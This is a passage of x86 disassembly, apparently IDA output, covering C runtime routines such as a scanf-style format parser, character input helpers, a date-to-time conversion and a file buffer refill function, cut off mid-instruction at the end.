loc_41B84E: ; CODE XREF: sub_41B605+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41BAD8 mov [ebp+var_17], 1 jmp loc_41BADD ; --------------------------------------------------------------------------- loc_41B863: ; CODE XREF: sub_41B605+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41B87F mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41B884 ; --------------------------------------------------------------------------- loc_41B87F: ; CODE XREF: sub_41B605+26Aj cmp ebx, 2Bh jnz short loc_41B89B loc_41B884: ; CODE XREF: sub_41B605+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B89E ; --------------------------------------------------------------------------- loc_41B89B: ; CODE XREF: sub_41B605+27Dj mov edi, [ebp+arg_0] loc_41B89E: ; CODE XREF: sub_41B605+294j cmp [ebp+var_20], 0 jz short loc_41B8AD cmp [ebp+var_C], 15Dh jle short loc_41B8B4 loc_41B8AD: ; CODE XREF: sub_41B605+29Dj mov [ebp+var_C], 15Dh loc_41B8B4: ; CODE XREF: sub_41B605+2A6j ; sub_41B605+2F2j cmp dword_43812C, 1 jle short loc_41B8C9 push 4 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41B8D4 ; --------------------------------------------------------------------------- loc_41B8C9: ; CODE XREF: sub_41B605+2B6j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 4 loc_41B8D4: ; CODE XREF: sub_41B605+2C2j test eax, eax jz short loc_41B8F9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B8F9 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B8B4 ; --------------------------------------------------------------------------- loc_41B8F9: ; CODE XREF: sub_41B605+2D1j ; sub_41B605+2DBj cmp byte_438130, bl jnz short loc_41B967 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B967 inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax mov al, byte_438130 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41B922: ; CODE XREF: sub_41B605+360j cmp dword_43812C, 1 jle short loc_41B937 push 4 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41B942 ; --------------------------------------------------------------------------- loc_41B937: ; CODE XREF: sub_41B605+324j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 4 loc_41B942: ; CODE XREF: sub_41B605+330j test eax, eax jz short loc_41B967 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B967 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B922 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B605+2FAj ; sub_41B605+304j ... cmp [ebp+var_1C], 0 jz loc_41B9FF cmp ebx, 65h jz short loc_41B97F cmp ebx, 45h jnz loc_41B9FF loc_41B97F: ; CODE XREF: sub_41B605+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B9FF mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41B9A6 mov [esi], al inc esi jmp short loc_41B9AB ; --------------------------------------------------------------------------- loc_41B9A6: ; CODE XREF: sub_41B605+39Aj cmp ebx, 2Bh jnz short loc_41B9C9 loc_41B9AB: ; CODE XREF: sub_41B605+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41B9BA and [ebp+var_C], eax jmp short loc_41B9C9 ; --------------------------------------------------------------------------- loc_41B9BA: ; CODE XREF: sub_41B605+3AEj ; sub_41B605+3F8j inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B9C9: ; CODE XREF: sub_41B605+3A4j ; sub_41B605+3B3j cmp dword_43812C, 1 jle short loc_41B9DE push 4 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41B9E9 ; --------------------------------------------------------------------------- loc_41B9DE: ; CODE XREF: sub_41B605+3CBj mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 4 loc_41B9E9: ; CODE XREF: sub_41B605+3D7j test eax, eax jz short loc_41B9FF mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B9FF inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41B9BA ; --------------------------------------------------------------------------- loc_41B9FF: ; CODE XREF: sub_41B605+366j ; sub_41B605+374j ... dec [ebp+var_4] push edi push ebx call sub_41C07B cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41C00B cmp [ebp+var_E], 0 jnz loc_41BF6C inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43A288 add esp, 0Ch jmp loc_41BF6C ; --------------------------------------------------------------------------- loc_41BA43: ; CODE XREF: sub_41B605+20Cj cmp [ebp+var_20], eax jnz short loc_41BA52 inc [ebp+var_C] mov [ebp+var_20], 1 loc_41BA52: ; CODE XREF: sub_41B605+441j cmp [ebp+var_5], 0 jle short loc_41BA5C mov [ebp+var_16], 1 loc_41BA5C: ; CODE XREF: sub_41B605+451j mov edi, offset dword_43A2B0 jmp loc_41BB71 ; --------------------------------------------------------------------------- loc_41BA66: ; CODE XREF: sub_41B605+1FDj mov eax, esi sub eax, 70h jz loc_41BD14 sub eax, 3 jz loc_41BB62 dec eax dec eax jz loc_41BD18 sub eax, 3 jz loc_41B84E sub eax, 3 jz short loc_41BAB4 loc_41BA90: ; CODE XREF: sub_41B605+21Bj ; sub_41B605+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41BFDB dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41BF6C mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41BF6C ; --------------------------------------------------------------------------- loc_41BAB4: ; CODE XREF: sub_41B605+489j cmp [ebp+var_5], 0 jle short loc_41BABE mov [ebp+var_16], 1 loc_41BABE: ; CODE XREF: sub_41B605+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41BB75 mov eax, edi lea edi, [eax+1] jmp loc_41BB71 ; --------------------------------------------------------------------------- loc_41BAD8: ; CODE XREF: sub_41B605+24Fj cmp ebx, 2Bh jnz short loc_41BAFF loc_41BADD: ; CODE XREF: sub_41B605+259j dec [ebp+var_C] jnz short loc_41BAEE cmp [ebp+var_20], 0 jz short loc_41BAEE mov [ebp+var_F], 1 jmp short loc_41BAFF ; --------------------------------------------------------------------------- loc_41BAEE: ; CODE XREF: sub_41B605+4DBj ; sub_41B605+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41BAFF: ; CODE XREF: sub_41B605+4D6j ; sub_41B605+4E7j cmp ebx, 30h jnz loc_41BD4D push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41BB4D cmp bl, 58h jz short loc_41BB4D cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41BB37 push 6Fh loc_41BB31: ; CODE XREF: sub_41B605+55Bj pop esi jmp loc_41BD4D ; --------------------------------------------------------------------------- loc_41BB37: ; CODE XREF: sub_41B605+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C07B pop ecx pop ecx push 30h pop ebx jmp loc_41BD4A ; --------------------------------------------------------------------------- loc_41BB4D: ; CODE XREF: sub_41B605+517j ; sub_41B605+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41BB31 ; --------------------------------------------------------------------------- loc_41BB62: ; CODE XREF: sub_41B605+46Fj cmp [ebp+var_5], 0 jle short loc_41BB6C mov [ebp+var_16], 1 loc_41BB6C: ; CODE XREF: sub_41B605+561j mov edi, offset dword_43A2A8 loc_41BB71: ; CODE XREF: sub_41B605+45Cj ; sub_41B605+4CEj or [ebp+var_18], 0FFh loc_41BB75: ; CODE XREF: sub_41B605+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415390 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41BB99 cmp byte ptr [edi], 5Dh jnz short loc_41BB99 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41BB9C ; --------------------------------------------------------------------------- loc_41BB99: ; CODE XREF: sub_41B605+584j ; sub_41B605+589j mov dl, [ebp+var_35] loc_41BB9C: ; CODE XREF: sub_41B605+592j ; sub_41B605+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41BC01 inc edi cmp al, 2Dh jnz short loc_41BBE8 test dl, dl jz short loc_41BBE8 mov cl, [edi] cmp cl, 5Dh jz short loc_41BBE8 inc edi cmp dl, cl jnb short loc_41BBBB mov al, cl jmp short loc_41BBBF ; --------------------------------------------------------------------------- loc_41BBBB: ; CODE XREF: sub_41B605+5B0j mov al, dl mov dl, cl loc_41BBBF: ; CODE XREF: sub_41B605+5B4j cmp dl, al ja short loc_41BBE4 movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41BBCC: ; CODE XREF: sub_41B605+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41BBCC loc_41BBE4: ; CODE XREF: sub_41B605+5BCj xor dl, dl jmp short loc_41BB9C ; --------------------------------------------------------------------------- loc_41BBE8: ; CODE XREF: sub_41B605+5A0j ; sub_41B605+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41BB9C ; --------------------------------------------------------------------------- loc_41BC01: ; CODE XREF: sub_41B605+59Bj cmp byte ptr [edi], 0 jz loc_41C00B cmp [ebp+var_3C], 7Bh jnz short loc_41BC13 mov [ebp+arg_4], edi loc_41BC13: ; CODE XREF: sub_41B605+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41C07B pop ecx pop ecx loc_41BC2A: ; CODE XREF: sub_41B605+6BCj ; sub_41B605+6C4j cmp [ebp+var_20], 0 jz short loc_41BC3E mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41BCDA loc_41BC3E: ; CODE XREF: sub_41B605+629j inc [ebp+var_4] push edi call sub_41C061 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41BCCE mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41BCCE cmp [ebp+var_E], 0 jnz short loc_41BCC6 cmp [ebp+var_16], 0 jz short loc_41BCBB mov ecx, off_437F20 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41BC9A inc [ebp+var_4] push edi call sub_41C061 pop ecx mov [ebp+var_37], al loc_41BC9A: ; CODE XREF: sub_41B605+686j push dword_43812C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41E869 mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41BCBE ; --------------------------------------------------------------------------- loc_41BCBB: ; CODE XREF: sub_41B605+673j mov [esi], al inc esi loc_41BCBE: ; CODE XREF: sub_41B605+6B4j mov [ebp+var_2C], esi jmp loc_41BC2A ; --------------------------------------------------------------------------- loc_41BCC6: ; CODE XREF: sub_41B605+66Dj inc [ebp+var_30] jmp loc_41BC2A ; --------------------------------------------------------------------------- loc_41BCCE: ; CODE XREF: sub_41B605+649j ; sub_41B605+667j dec [ebp+var_4] push edi push eax call sub_41C07B pop ecx pop ecx loc_41BCDA: ; CODE XREF: sub_41B605+633j cmp [ebp+var_30], esi jz loc_41C00B cmp [ebp+var_E], 0 jnz loc_41BF6C inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41BF6C cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41BD0C and word ptr [eax], 0 jmp loc_41BF6C ; --------------------------------------------------------------------------- loc_41BD0C: ; CODE XREF: sub_41B605+6FCj and byte ptr [eax], 0 jmp loc_41BF6C ; --------------------------------------------------------------------------- loc_41BD14: ; CODE XREF: sub_41B605+466j mov [ebp+var_D], 1 loc_41BD18: ; CODE XREF: sub_41B605+203j ; sub_41B605+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41BD26 mov [ebp+var_17], 1 jmp short loc_41BD2B ; --------------------------------------------------------------------------- loc_41BD26: ; CODE XREF: sub_41B605+719j cmp ebx, 2Bh jnz short loc_41BD4D loc_41BD2B: ; CODE XREF: sub_41B605+71Fj dec [ebp+var_C] jnz short loc_41BD3C cmp [ebp+var_20], 0 jz short loc_41BD3C mov [ebp+var_F], 1 jmp short loc_41BD4D ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41B605+729j ; sub_41B605+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 pop ecx mov ebx, eax loc_41BD4A: ; CODE XREF: sub_41B605+543j mov [ebp+var_14], ebx loc_41BD4D: ; CODE XREF: sub_41B605+4FDj ; sub_41B605+52Dj ... cmp [ebp+var_30], 0 jz loc_41BE66 cmp [ebp+var_F], 0 jnz loc_41BE44 loc_41BD61: ; CODE XREF: sub_41B605+82Cj cmp esi, 78h jnz short loc_41BDB5 cmp dword_43812C, 1 jle short loc_41BD7E push 80h push ebx call sub_418576 pop ecx pop ecx jmp short loc_41BD8B ; --------------------------------------------------------------------------- loc_41BD7E: ; CODE XREF: sub_41B605+768j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 80h loc_41BD8B: ; CODE XREF: sub_41B605+777j test eax, eax jz loc_41BE36 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41E960 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41C02A mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41BE08 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41B605+75Fj cmp dword_43812C, 1 jle short loc_41BDCA push 4 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41BDD5 ; --------------------------------------------------------------------------- loc_41BDCA: ; CODE XREF: sub_41B605+7B7j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 4 loc_41BDD5: ; CODE XREF: sub_41B605+7C3j test eax, eax jz short loc_41BE36 cmp esi, 6Fh jnz short loc_41BDF3 cmp ebx, 38h jge short loc_41BE36 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41E960 jmp short loc_41BE02 ; --------------------------------------------------------------------------- loc_41BDF3: ; CODE XREF: sub_41B605+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4157C0 loc_41BE02: ; CODE XREF: sub_41B605+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41BE08: ; CODE XREF: sub_41B605+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41BE20 dec [ebp+var_C] jz short loc_41BE44 loc_41BE20: ; CODE XREF: sub_41B605+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41BD61 ; --------------------------------------------------------------------------- loc_41BE36: ; CODE XREF: sub_41B605+788j ; sub_41B605+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C07B pop ecx pop ecx loc_41BE44: ; CODE XREF: sub_41B605+756j ; sub_41B605+819j cmp [ebp+var_17], 0 jz loc_41BF2A mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41BF2A ; --------------------------------------------------------------------------- loc_41BE66: ; CODE XREF: sub_41B605+74Cj cmp [ebp+var_F], 0 jnz loc_41BF22 loc_41BE70: ; CODE XREF: sub_41B605+90Aj cmp esi, 78h jz short loc_41BEB4 cmp esi, 70h jz short loc_41BEB4 cmp dword_43812C, 1 jle short loc_41BE8F push 4 push ebx call sub_418576 pop ecx pop ecx jmp short loc_41BE9A ; --------------------------------------------------------------------------- loc_41BE8F: ; CODE XREF: sub_41B605+87Cj mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 4 loc_41BE9A: ; CODE XREF: sub_41B605+888j test eax, eax jz short loc_41BF14 cmp esi, 6Fh jnz short loc_41BEAD cmp ebx, 38h jge short loc_41BF14 shl edi, 3 jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEAD: ; CODE XREF: sub_41B605+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEB4: ; CODE XREF: sub_41B605+86Ej ; sub_41B605+873j cmp dword_43812C, 1 jle short loc_41BECC push 80h push ebx call sub_418576 pop ecx pop ecx jmp short loc_41BED9 ; --------------------------------------------------------------------------- loc_41BECC: ; CODE XREF: sub_41B605+8B6j mov eax, off_437F20 mov al, [eax+ebx*2] and eax, 80h loc_41BED9: ; CODE XREF: sub_41B605+8C5j test eax, eax jz short loc_41BF14 push ebx shl edi, 4 call sub_41C02A mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41BEEC: ; CODE XREF: sub_41B605+8A6j ; sub_41B605+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_41BEFE dec [ebp+var_C] jz short loc_41BF22 loc_41BEFE: ; CODE XREF: sub_41B605+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_41C061 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41BE70 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41B605+897j ; sub_41B605+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41C07B pop ecx pop ecx loc_41BF22: ; CODE XREF: sub_41B605+865j ; sub_41B605+8F7j cmp [ebp+var_17], 0 jz short loc_41BF2A neg edi loc_41BF2A: ; CODE XREF: sub_41B605+843j ; sub_41B605+85Cj ... cmp esi, 46h jnz short loc_41BF33 and [ebp+var_1C], 0 loc_41BF33: ; CODE XREF: sub_41B605+928j cmp [ebp+var_1C], 0 jz loc_41C00B cmp [ebp+var_E], 0 jnz short loc_41BF6C inc [ebp+var_34] loc_41BF46: ; CODE XREF: sub_41B605+23Bj cmp [ebp+var_30], 0 jz short loc_41BF5C mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_41BF6C ; --------------------------------------------------------------------------- loc_41BF5C: ; CODE XREF: sub_41B605+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_41BF69 mov [eax], edi jmp short loc_41BF6C ; --------------------------------------------------------------------------- loc_41BF69: ; CODE XREF: sub_41B605+95Ej mov [eax], di loc_41BF6C: ; CODE XREF: sub_41B605+241j ; sub_41B605+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_41BFB9 ; --------------------------------------------------------------------------- loc_41BF77: ; CODE XREF: sub_41B605+93j inc [ebp+var_4] push edi call sub_41C061 mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_41BFE6 mov ecx, off_437F20 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41BFB9 inc [ebp+var_4] push edi call sub_41C061 pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_41BFF4 dec [ebp+var_4] loc_41BFB9: ; CODE XREF: sub_41B605+970j ; sub_41B605+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41BFCF cmp byte ptr [esi], 25h jnz short loc_41C011 mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_41C011 mov esi, eax loc_41BFCF: ; CODE XREF: sub_41B605+9B8j mov al, [esi] test al, al jnz loc_41B62F jmp short loc_41C00B ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41B605+1F4j ; sub_41B605+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_41BFEB ; --------------------------------------------------------------------------- loc_41BFE6: ; CODE XREF: sub_41B605+98Aj dec [ebp+var_4] push edi push ebx loc_41BFEB: ; CODE XREF: sub_41B605+9DFj call sub_41C07B pop ecx pop ecx jmp short loc_41C00B ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41B605+9AFj dec [ebp+var_4] push edi push eax call sub_41C07B dec [ebp+var_4] push edi push ebx call sub_41C07B add esp, 10h loc_41C00B: ; CODE XREF: sub_41B605+1Fj ; sub_41B605+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_41C022 loc_41C011: ; CODE XREF: sub_41B605+9BDj ; sub_41B605+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_41C025 cmp [ebp+var_15], al jnz short loc_41C025 or eax, 0FFFFFFFFh jmp short loc_41C025 ; --------------------------------------------------------------------------- loc_41C022: ; CODE XREF: sub_41B605+A0Aj mov eax, [ebp+var_34] loc_41C025: ; CODE XREF: sub_41B605+A11j ; sub_41B605+A16j ... pop edi pop esi pop ebx leave retn sub_41B605 endp ; =============== S U B R O U T I N E ======================================= sub_41C02A proc near ; CODE XREF: sub_41B605+7A3p ; sub_41B605+8DCp arg_0 = dword ptr 4 cmp dword_43812C, 1 push esi jle short loc_41C044 mov esi, [esp+4+arg_0] push 4 push esi call sub_418576 pop ecx pop ecx jmp short loc_41C053 ; --------------------------------------------------------------------------- loc_41C044: ; CODE XREF: sub_41C02A+8j mov esi, [esp+4+arg_0] mov eax, off_437F20 mov al, [eax+esi*2] and eax, 4 loc_41C053: ; CODE XREF: sub_41C02A+18j test eax, eax jnz short loc_41C05D and esi, 0FFFFFFDFh sub esi, 7 loc_41C05D: ; CODE XREF: sub_41C02A+2Bj mov eax, esi pop esi retn sub_41C02A endp ; =============== S U B R O U T I N E ======================================= sub_41C061 proc near ; CODE XREF: sub_41B605+1E1p ; sub_41B605+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_41C073 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_41C073: ; CODE XREF: sub_41C061+7j push edx call sub_41C178 pop ecx retn sub_41C061 endp ; =============== S U B R O U T I N E ======================================= sub_41C07B proc near ; CODE XREF: sub_41B605+6Bp ; sub_41B605+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_41C091 push [esp+arg_4] push [esp+4+arg_0] call sub_41E97F pop ecx pop ecx locret_41C091: ; CODE XREF: sub_41C07B+5j retn sub_41C07B endp ; =============== S U B R O U T I N E ======================================= sub_41C092 proc near ; CODE XREF: sub_41B605+63p ; sub_41B605+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_41C098: ; CODE XREF: sub_41C092+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_41C061 mov edi, eax push edi call sub_41E931 pop ecx test eax, eax pop ecx jnz short loc_41C098 mov eax, edi pop edi pop esi retn sub_41C092 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0B6 proc near ; CODE XREF: sub_41697B+C9p var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_0] sub ebx, 76Ch cmp ebx, 46h jl loc_41C172 cmp ebx, 8Ah jg loc_41C172 push esi push edi mov edi, [ebp+arg_4] mov esi, dword_43A9D4[edi*4] add esi, [ebp+arg_8] test bl, 3 jnz short loc_41C0F5 cmp edi, 2 jle short loc_41C0F5 inc esi loc_41C0F5: ; CODE XREF: sub_41C0B6+37j ; sub_41C0B6+3Cj call sub_41E9ED mov eax, ebx lea ecx, [ebx-1] imul eax, 16Dh sar ecx, 2 mov edx, esi mov [ebp+var_8], esi add edx, ecx mov [ebp+var_10], ebx add eax, edx mov edx, [ebp+arg_14] lea ecx, [eax+eax*2] mov eax, [ebp+arg_C] mov [ebp+var_1C], eax lea ecx, [eax+ecx*8] imul ecx, 3Ch add ecx, [ebp+arg_10] imul ecx, 3Ch add ecx, dword_43A8F0 dec edi cmp [ebp+arg_18], 1 mov [ebp+var_14], edi pop edi pop esi lea ecx, [ecx+edx+7C558180h] mov [ebp+arg_0], ecx jz short loc_41C168 cmp [ebp+arg_18], 0FFFFFFFFh jnz short loc_41C16E cmp dword_43A8F4, 0 jz short loc_41C16E lea eax, [ebp+var_24] push eax call sub_41EC60 pop ecx mov ecx, [ebp+arg_0] test eax, eax jz short loc_41C16E loc_41C168: ; CODE XREF: sub_41C0B6+90j add ecx, dword_43A8F8 loc_41C16E: ; CODE XREF: sub_41C0B6+96j ; sub_41C0B6+9Fj ... mov eax, ecx jmp short loc_41C175 ; --------------------------------------------------------------------------- loc_41C172: ; CODE XREF: sub_41C0B6+13j ; sub_41C0B6+1Fj or eax, 0FFFFFFFFh loc_41C175: ; CODE XREF: sub_41C0B6+BAj pop ebx leave retn sub_41C0B6 endp ; =============== S U B R O U T I N E ======================================= sub_41C178 proc near ; CODE XREF: sub_416A57+A9p ; sub_416FDC+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41C24C test al, 40h jnz loc_41C24C test al, 2 jz short loc_41C19E or al, 20h mov [esi+0Ch], eax jmp loc_41C24C ; --------------------------------------------------------------------------- loc_41C19E: ; CODE XREF: sub_41C178+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41C1B2 push esi call sub_41D908 pop ecx jmp short loc_41C1B7 ; --------------------------------------------------------------------------- loc_41C1B2: ; CODE XREF: sub_41C178+2Fj mov eax, [esi+8] mov [esi], eax loc_41C1B7: ; CODE XREF: sub_41C178+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41C251 add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41C23B cmp eax, 0FFFFFFFFh jz short loc_41C23B mov edx, [esi+0Ch] test dl, 82h jnz short loc_41C210 mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41C1F9 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_46C960[edi*4] lea edi, [edi+ecx*8] jmp short loc_41C1FE ; --------------------------------------------------------------------------- loc_41C1F9: ; CODE XREF: sub_41C178+6Bj mov edi, offset dword_43A5A0 loc_41C1FE: ; CODE XREF: sub_41C178+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41C210 or dh, 20h mov [esi+0Ch], edx loc_41C210: ; CODE XREF: sub_41C178+62j ; sub_41C178+90j cmp dword ptr [esi+18h], 200h jnz short loc_41C22D mov ecx, [esi+0Ch] test cl, 8 jz short loc_41C22D test ch, 4 jnz short loc_41C22D mov dword ptr [esi+18h], 1000h loc_41C22D: ; CODE XREF: sub_41C178+9Fj ; sub_41C178+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41C23B: ; CODE XREF: sub_41C178+55j ; sub_41C178+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41C24C: ; CODE XREF: sub_41C178+Aj ; sub_41C178+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41C178 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C251 proc near ; CODE XREF: sub_416A57+90p ; sub_41C178+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_46CA60 jnb loc_41C42E mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:46C960h[eax*4] mov eax, dword_46C960[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41C42E and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41C306 test dl, 2 jnz short loc_41C306 test dl, 48h jz short loc_41C2C6 mov al, [eax+5] cmp al, 0Ah jz short loc_41C2C6 dec [ebp+arg_8] mov [edi], al mov eax, 